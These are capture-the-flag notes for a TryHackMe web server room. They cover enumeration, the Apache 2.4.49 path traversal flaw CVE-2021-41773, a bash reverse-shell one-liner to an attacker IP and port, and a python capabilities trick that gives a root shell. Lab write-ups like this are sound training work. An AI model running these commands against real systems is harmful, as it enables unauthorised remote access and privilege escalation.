← CTF archive

· Earliest timestamped screenshot

[TryHackMe] Oh My WebServer

Attack and enumeration notes

80 (found DS store file) 2.4.49 APACHE vulnerable to LFI/RCE CVE-2021-41773
22 (need creds)

Nmap scan

80, 22

Nuclei scan

Screenshot

Vulnerability research

https://github.com/thehackersbrain/CVE-2021-41773

Screenshot

# GET THE REVERSE SHELL
/bin/bash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'

Privilege escalation

* Check service
* Check network (everything running under 127.0.0.1)
* Check cronjob (maybe upload pspy)
* Check the versions of package of the services running under 127.0.0.1 (dmesg |grep -i 'mysql' --color=auto)
* getcap -r / 2>/dev/null
    if capabilities for python just 'import os;os.system("/bin/dash")' and RUN ROOT ~#